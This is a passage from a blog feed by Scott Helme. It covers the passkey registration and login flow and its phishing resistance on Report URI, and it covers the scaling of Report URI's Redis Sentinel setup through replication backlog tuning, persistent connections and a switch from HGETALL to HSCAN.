     |                      | 2. Request registration   |
     |                      |--------------------------&gt;|
     |                      |                           |
     |                      | 3. Send challenge         |
     |                      |&lt;--------------------------|
     |                      |                           | 
     |                      | 4. Create new key pair    |
     |                      |    - save private key     |
     |                      |      on device            | 
     |                      |                           |
     |                      | 5. Send public key + attestation
     |                      |--------------------------&gt;|
     |                      |                           | 7. Store public key
     |                      |                           |    with user account
     |                      | 8. Registration complete  |
     |                      |&lt;--------------------------|
     | 9. &quot;Registration Complete&quot;                       |
     |&lt;---------------------|                           |
     |                      |                           |</code></pre><p></p><p>You initiate the Passkey registration process in the browser and you will be prompted by your device or password manager to create a Passkey. You device will create the cryptographic key pair, sign the challenge provided by the website, and then return the signed challenge along with your public key, which is stored against your account. The private key is kept securely on your device. Now that Passkey registration is complete, you can then use your Passkey for authentication.</p><p></p><pre><code>User               Browser / OS              Website / Server
     |                      |                           |
     | 1. &quot;Sign in with passkey&quot;                        |
     |---------------------&gt;|                           |
     |                      | 2. Request authentication |
     |                      |--------------------------&gt;|
     |                      |                           | 
     |                      | 3. Send challenge         |
     |                      |&lt;--------------------------|
     |                      |                           |
     |                      | 4. Biometrics / PIN       |
     |                      | 5. Sign with private key  |
     |                      | 6. Return signed challenge|
     |                      |--------------------------&gt;|
     |                      |                           | 7. Verify signature
     |                      |                           |    using public key
     |                      | 8. Authentication successful
     |                      |&lt;--------------------------| 
     | 9. &quot;Signed in!&quot;      |                           |
     |&lt;---------------------|                           |</code></pre><p></p><p>When logging in to a website where you have registered a Passkey, you will usually have to initiate the process to sign in with your Passkey. In the background, your device will then start the authentication process and receive the challenge that needs to be signed with your private key. To do that, your device will ask for something like FaceID, TouchID, or similar on your device to authenticate you. Once you have authenticated to your device, it will sign the challenge with your private key and return it to the website. The website can then check it is definitely you by verifying that signature using your public key that it previously received, and then you&apos;re logged in! This is such a nice experience and has so little friction for the user, especially when you consider how strong this mechanism is.</p><p></p><h4 id="how-are-they-phishing-resistant">How are they phishing-resistant?</h4><p>When your device creates a Passkey, it doesn&apos;t just create and store the keys used, it also stores some important metadata too. The relevant part of that metadata that gives us phishing resistance is the Relying Part ID, or <code>rpId</code>. When you go to Report URI and register a Passkey on our website, the <code>rpId</code> will be saved with the Passkey on your device as <code>report-uri.com</code> and your device can then enforce that your new Passkey is only ever used on this domain or its subdomains. This means that if you end up on a phishing site that <em>looks</em> like Report URI, but isn&apos;t actually <code>report-uri.com</code>, the Passkey simply will not work. Take these examples that might make for convincing phishing pages:</p><p></p><pre><code>https://report-url.com               &lt;-- nope
    https://report-uri.secure-login.com  &lt;-- nope
    https://report-uri.xyz               &lt;-- nope</code></pre><p></p><p>The only way that your device will now use the Passkey to log you in is if you&apos;re on a valid website where the Passkey is allowed to be used, effectively neutralising the threat of phishing!</p><p></p><h4 id="how-are-they-being-used-on-report-uri">How are they being used on Report URI?</h4><p>There are two ways that you can use Passkeys on your website and they offer slightly different benefits.</p><p></p><ol><li>You can use Passkeys to replace passwords altogether, so they become your primary authentication mechanism. </li><li>You can use Passkeys as a 2FA mechanism alongside your existing username/password authentication.</li></ol><p></p><p>At Report URI we&apos;ve opted for option #2 and now offer Passkeys as a 2FA option alongside our existing TOTP 2FA offering. Passkeys make for an incredibly strong second-factor and our primary goal was to achieve the phishing resistance that Passkeys offer. Looking at option #1 is also a valid approach and there are other benefits too, mainly being able to get rid of passwords from your database and protect against password based attacks. Given our <em>extensive</em> measures to protect user passwords, it was less of a concern for us to move to using Passkeys as our primary authentication mechanism and instead we chose to introduce them as a 2FA mechanism. If you&apos;re interested in our approach to securing user passwords, you can read my <a href="https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io" rel="noreferrer">blog post that goes in to detail</a>, but here is a summary:</p><p></p><ol><li>We use the <a href="https://haveibeenpwned.com/API/v3?ref=scotthelme.ghost.io#PwnedPasswords" rel="noreferrer">Pwned Passwords API</a> to prevent the use of passwords that have previously been leaked.</li><li>We use zxcvbn to ensure the use of strong passwords when registering an account or changing password.</li><li>We provide extensive support for password managers using attributes on HTML form elements. </li><li>We store hashed passwords using bcrypt (work factor 10 + 128bit salt) so they are resistant to cracking. </li></ol><p></p><p>Passkeys are now available on the Settings page in your account and we <em>strongly</em> recommend that you go and enable them!</p><p>In the coming week, I will also be publishing two more blog posts. One of them is the full details of the external engagement to have our Passkeys implementation audited. We engaged a penetration testing company to come in and do a full test of our implementation to make absolutely sure it was rock solid. The blog post will contain the full, unredacted report with details of all findings. The second blog post will be the announcement of our whitepaper on Passkeys and the new security considerations they bring if you&apos;re planning to use them on your site. Make sure you&apos;re subscribed for notifications so you know when they go live!</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[When “One in a Billion” Happens Every Day: Scaling Redis at Report URI]]></title>
                <description><![CDATA[<p>Something that I&apos;ve come to learn as we continue to grow <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> is that everything is easy until scale makes it hard. We&apos;re now processing so much telemetry that a &quot;one in a billion&quot; problem can happen every, single, day, and we&apos;</p>]]></description>
                <link>https://scotthelme.ghost.io/when-one-in-a-billion-happens-every-day-scaling-redis-at-report-uri/</link>
                <guid isPermaLink="false">69af4097fedfb90001b388b4</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Redis]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Tue, 24 Mar 2026 14:36:17 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/redis-billions.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/redis-billions.webp" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI"><p>Something that I&apos;ve come to learn as we continue to grow <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> is that everything is easy until scale makes it hard. We&apos;re now processing so much telemetry that a &quot;one in a billion&quot; problem can happen every, single, day, and we&apos;ve had to make some significant improvements to our infrastructure to handle that whilst continuing to provide a reliable service!</p><p></p><h4 id="our-high-availability-redis-deployment">Our High-Availability Redis deployment</h4><p>I recently wrote <a href="https://scotthelme.co.uk/were-going-high-availability-with-redis-sentinel/?ref=scotthelme.ghost.io" rel="noreferrer">We&apos;re going High Availability with Redis Sentinel!</a> and you should start there if you&apos;d like to understand our setup with Redis and Sentinel. TLDR; we have four sentinels in front of two caches, the primary and replica, that handle our telemetry ingestion.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-2.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="1000" height="785" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-2.png 1000w" sizes="(min-width: 720px) 720px"></figure><p></p><p>We moved to the HA setup to allow us more flexibility in upgrading the Redis server, changing available resources, and to add some much needed resilience, all using the failover process. All of that work has served us well and I published the linked blog post in Aug 2025, but it wasn&apos;t long before even this setup was showing the early signs of struggling. Wanting to get out ahead of any potential problems, we got to work.</p><p></p><h4 id="just-how-much-are-we-talking">Just how much are we talking?</h4><p>You can head over to our <a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io" rel="noreferrer">Global Telemetry Dashboard</a> which is publicly available and will answer that very question. At the time of writing, this is what our summary looks like:</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-9.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="847" height="318" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-9.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-9.png 847w" sizes="(min-width: 720px) 720px"></figure><p></p><p>You can look at data by day, week, or even month, get technical breakdowns of the traffic like HTTP version, TLS version, client type, and more.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-10.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="965" height="570" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-10.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-10.png 965w" sizes="(min-width: 720px) 720px"></figure><p></p><p>You can even check out our mesmerising <a href="https://dash.report-uri.com/pewpewmap/?ref=scotthelme.ghost.io" rel="noreferrer">PewPew Map</a> to view our inbound telemetry that runs live at 5 minutes behind real-time. But, enough about how much telemetry we&apos;re processing, let&apos;s get on to the &apos;how&apos;. </p><p></p><h4 id="identifying-opportunities-for-improvement">Identifying opportunities for improvement!</h4><p>Redis is a critical part of our infrastructure and we knew that more work was needed, so we sat down and came up with a list. Internally, we refer to these tickets as &apos;Mega Tickets&apos;, which signifies that they&apos;re going to be a parent ticket for a bunch of other tickets, and that there&apos;s going to be a lot of work involved!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-3.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="925" height="843" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-3.png 925w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Quite of a few of these tickets were pretty interesting changes, resulting in some really big performance gains. Some of these tickets are also the kind of thing where you say &quot;well, duh...&quot; after you read them, but all of this was working perfectly until it wasn&apos;t. Scale creeps up on you and makes things that were previously easy much more difficult.</p><p></p><h4 id="optimising-replication-for-smooth-failovers">Optimising replication for smooth failovers</h4><p>One of the main goals of introducing our High Availability setup with Redis Sentinel was so that we could gracefully failover between the primary and replica caches. This allows us to pull the primary out of use for updates, upgrades, maintenance, or if it fails and has an outage, automatically promoting the replica to the new primary to continue on. One issue that we had during failover testing was that the replica would fall a tiny fraction behind the primary on replication and when the replica was promoted to primary, rather than catching up on a small amount of data, it would instead trigger a full resync. This full sync of the dataset would hang inbound connections while processes sat around receiving the <code>LOADING</code> response from Redis, and occasionally the primary would get <code>oom</code> killed during the RDB sync. I became familiar with the copy-on-write semantic of the <code>fork()</code> sys call, which Redis uses for an RDB dump, during a <a href="https://scotthelme.co.uk/stronger-than-ever-how-we-turned-a-ddos-attack-into-a-lesson-in-resilience/?ref=scotthelme.ghost.io" rel="noreferrer">targeted attack</a> we were subjected to at the start of 2025. While <code>fork()</code> means the child process doesn&apos;t theoretically need to replicate all of the data in memory, if you have a highly volatile dataset like we do, it does! The question is, though, why is it doing a full RDB sync?!</p><p>Here&apos;s how Redis streams write commands from a primary to a replica:</p><p></p><pre><code>                &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;
                    &#x2502;                    PRIMARY                  &#x2502;
                    &#x2502;                                             &#x2502;
                    &#x2502; &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;           &#x2502;
    Writes from &#x2192;   &#x2502; &#x2502;   Command Stream (WRITE ops)  &#x2502;           &#x2502;
    applications &#x2500;&#x2500;&#x2500;&#x25B6;&#x2502;   (SET, HSET, INCR, etc.)     &#x2502;           &#x2502;
                    &#x2502; &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x252C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;           &#x2502;
                    &#x2502;            &#x2502;                                &#x2502;
                    &#x2502;            &#x25BC;                                &#x2502;
                    &#x2502;  &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;           &#x2502;
                    &#x2502;  &#x2502;   Replication Backlog (2 GB) &#x2502;&#x25C4;&#x2500;&#x2500;&#x2500;&#x2510;      &#x2502;
                    &#x2502;  &#x2502;  Circular buffer of last N B &#x2502;    &#x2502;      &#x2502;
                    &#x2502;  &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;    &#x2502;      &#x2502;
                    &#x2502;            &#x2502;                         &#x2502;      &#x2502;
                    &#x2502;            &#x2502;                         &#x2502;      &#x2502;
                    &#x2502;            &#x25BC;                         &#x2502;      &#x2502;
                    &#x2502;  &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;    &#x2502;      &#x2502;
                    &#x2502;  &#x2502; Replica Output Buffer (512MB)&#x2502;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;      &#x2502;
                    &#x2502;  &#x2502; per connected replica client &#x2502;           &#x2502;
                    &#x2502;  &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;           &#x2502;
                    &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;
                                                  &#x2502;
                                                  &#x2502; TCP stream of write commands
                                                  &#x25BC;
                    &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;
                    &#x2502;                    REPLICA                  &#x2502;
                    &#x2502;                                             &#x2502;
                    &#x2502; &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;           &#x2502;
                    &#x2502; &#x2502;   Input buffer (from primary) &#x2502;           &#x2502;
                    &#x2502; &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x252C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;           &#x2502;
                    &#x2502;            &#x2502;                                &#x2502;
                    &#x2502;            &#x25BC;                                &#x2502;
                    &#x2502;  &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;           &#x2502;
                    &#x2502;  &#x2502; Apply to dataset in memory   &#x2502;           &#x2502;
                    &#x2502;  &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;           &#x2502;
                    &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;</code></pre><p></p><p>Redis only streams certain commands to the replica, those are the commands that change the dataset, so they&apos;re the only ones we need. These commands first flow into the Replication Backlog which is a circular buffer (ring buffer). Image a giant circle with the write commands being written clockwise around that circle and as the process continues, eventually you will just keep looping and overwriting yourself. The replicas are reading out of that buffer trying to keep up with the primary that is writing ahead of them. If the primary is writing faster than the replicas can read, the primary will &apos;overtake&apos; the replicas and then the replicas can no longer read that data from the buffer, requiring a full re-sync from the primary instead.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-6.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="1369" height="887" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-6.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-6.png 1369w" sizes="(min-width: 720px) 720px"></figure><p></p><p>For each write that takes place in the buffer, there is an incrementing id value known as the <code>repl_offset</code>. A replica will keep track of the last id that it read so it can always know where it is up to in the buffer and come back for the next command, or determine if the buffer only contains commands that are too far ahead and it needs a full re-sync. Our default Replication Backlog (<code>repl-backlog-size</code>) was 64mb, which had been working well, but at the kind of throughputs we were now achieving on the cache, that gives us 4-5 seconds worth of history in the buffer. This means that if a replica loses contact for more than 5 seconds, when it comes back and tries to &apos;catch up&apos; using the Replication Backlog, it can&apos;t, and requests a full re-sync from the primary. Increasing the memory resources on our servers and bumping the <code>repl-backlog-size</code> to 2GB gave us considerably more overhead and our Replication Backlog now means that a replica can be taken out of service for updates and a reboot, whilst still making it back in time to catch up using the Replication Backlog. This allows us to avoid the need for full resyncs and massively improves the efficiency of the failover process.</p><p></p><h4 id="persisting-connections-to-save-on-overheads">Persisting connections to save on overheads</h4><p>Our ingestion servers can be processing thousands of telemetry events per second and after processing, the first place they land is in the Redis cache. This means that our ingestion servers, along with our sentinels and other servers, can be making thousands of connections per second to Redis. Here is a quiet time of day when we&apos;re handling almost 1,500 connections/second to Redis.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-7.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="1103" height="555" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-7.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-7.png 1103w" sizes="(min-width: 720px) 720px"></figure><p></p><p>That&apos;s a lot of overhead in creating and destroying so many connections, but this is the result of using <code>connect()</code> in <code>phpredis</code>. Each connection only exists for the duration of the current request because the socket is tied to the request and will be closed when the request ends. The connection will then be fired up again in, most likely, just a few milliseconds when the next request arrives...</p><p>Switching to <code>pconnect()</code> seems like an obvious win here, but it does require some careful consideration. Instead of the socket being tied to the request, it would now be held by the PHP-FPM worker process, allowing for a much longer life and, importantly, re-use across many requests. This is great, because we avoid all of the overheads of setting up and tearing down the connection on each request, but, we&apos;re now going to have sockets held open for much longer, which means more connections open at any given time. This would most likely be an issue on the primary Redis server which will have connections held open from our ingestion servers, consumer servers, the sentinels, the replica, and so on. Would it be able to sustain so many long-lived connections? We ran the maths on this, allowed for a lot of error, and decided that our Redis server was capable of handling it, so we deployed the change.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-8.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="1103" height="552" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-8.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-8.png 1103w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Almost immediately the number of new connections being made to Redis plummeted and the number of clients connected skyrocketed. Because a typical PHP-FPM worker can process 3,600 inbound requests (<code>pm.max_requests = 3600</code>) we&apos;re saving 3,599 connections to Redis for every 3,600 inbound telemetry events that we process, which is quite the significant saving! This also reduced the processing time of each request on our ingestion servers because the Redis connection is most likely already setup and waiting, so we&apos;re saving that overhead on each request too. The final consideration was then that a process could connect to the primary, and a failover could happen after the connection was established, meaning you&apos;re now connected to the replica. In this case you will get a <code>READONLY</code> exception if you try to write or change data and simply need to hit the Sentinels again to reconnect to the new primary and retry the same request again.</p><p></p><h4 id="avoiding-large-reads-that-take-too-long">Avoiding large reads that take too long</h4><p>As Redis is single-threaded, at least on the main command processing pathway, having any single operation that keeps that thread busy for prolonged periods of time is a Very Bad Idea (TM). Our Sentinels will determine if the primary Redis cache is available by sending requests and waiting for an answer, but if you can keep Redis busy for too long, the Sentinels can determine it&apos;s not available and trigger a failover. We saw some failovers that seemed to have no explanation in terms of the cache being unavailable, yet they happened anyway. In the end we turned to <code>SLOWLOG</code> to see if we could explain what might make Redis look like it wasn&apos;t available, and we found the culprit.</p><p>In our telemetry processing pipeline, all events pass through Redis and are gathered in a hash, ready for a consumer to come along and pull a batch of events to process them into the database (Azure Table Storage). To do this, these consumer servers will call <code>hGetAll()</code> to grab the content of the hash and then delete it from Redis, and this is where things were going wrong. </p><p></p><pre><code> 1) 1) (integer) 6436
        2) (integer) 1762833603
        3) (integer) 1049238
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-1969791144&quot;
        5) &quot;snip:34018&quot;
        6) &quot;&quot;
     2) 1) (integer) 6435
        2) (integer) 1762833423
        3) (integer) 1005244
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-533592971&quot;
        5) &quot;snip:54284&quot;
        6) &quot;&quot;
     3) 1) (integer) 6434
        2) (integer) 1762833063
        3) (integer) 1072218
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-383568749&quot;
        5) &quot;snip:47118&quot;
        6) &quot;&quot;
     4) 1) (integer) 6433
        2) (integer) 1762833003
        3) (integer) 1073379
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-1518767320&quot;
        5) &quot;snip:36282&quot;
        6) &quot;&quot;
     5) 1) (integer) 6432
        2) (integer) 1762832822
        3) (integer) 1002085
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-367184566&quot;
        5) &quot;snip:60828&quot;
        6) &quot;&quot;</code></pre><p></p><p>There&apos;s a <code>hGetAll()</code> call in there that took 1,073,379&#x3BC;s, which is almost 1.1 seconds, to complete! These <code>SLOWLOG</code> entries were also taken during a relatively quiet period for us and, given our consumer servers pull on a regular cadence, a high volume of inbound telemetry would mean more data to fetch in the <code>hGetAll()</code> and a longer time to complete as a result.</p><p>To remove this long blocking call we migrated from <code>hGetAll()</code> to <code>hScan()</code> instead, and using a <code>Generator</code> in PHP we can now progressively read back the content of the hash allowing for other commands to run between <code>hScan()</code> calls. We&apos;re currently capping the length of a <code>hScan()</code> call to ~500,000&#x3BC;s (500ms) so that we&apos;re never keeping the main process busy for too long.</p><p></p><pre><code> 1) 1) (integer) 5957
        2) (integer) 1763047503
        3) (integer) 599277
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-775261748&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:52516&quot;
        6) &quot;&quot;
     2) 1) (integer) 5956
        2) (integer) 1763047382
        3) (integer) 575907
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-991577969&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:42706&quot;
        6) &quot;&quot;
     3) 1) (integer) 5955
        2) (integer) 1763047321
        3) (integer) 546641
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-1663792648&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:39818&quot;
        6) &quot;&quot;
     4) 1) (integer) 5954
        2) (integer) 1763047262
        3) (integer) 563350
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-903905420&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:50746&quot;
        6) &quot;&quot;
     5) 1) (integer) 5953
        2) (integer) 1763047201
        3) (integer) 609534
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-1690091359&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:49308&quot;
        6) &quot;&quot;</code></pre><p></p><p>This also made our Redis resource graphs much more smooth by removing some of the huge peaks caused by these reads and also stopped other clients stalling out for brief periods when the main thread was busy. Overall, a nice improvement.</p><p></p><h4 id="add-more-cloud">Add more cloud</h4><p>You can solve a lot of problems by throwing more money at them, but we tend to hold out and only use this as a last resort when it&apos;s the proper solution to a problem. The Redis caches that handle our inbound telemetry are doing a lot of work for us, and despite all of our optimisations, we arrived at the conclusion that they needed more resources. The Sentinel servers have been doing awesome and will probably be able to cope for the foreseeable future, especially after the <code>pconnect()</code> upgrade significantly reduced the load on them, but our main caches did get an upgrade.</p><p></p><pre><code>redis-report-cache-primary
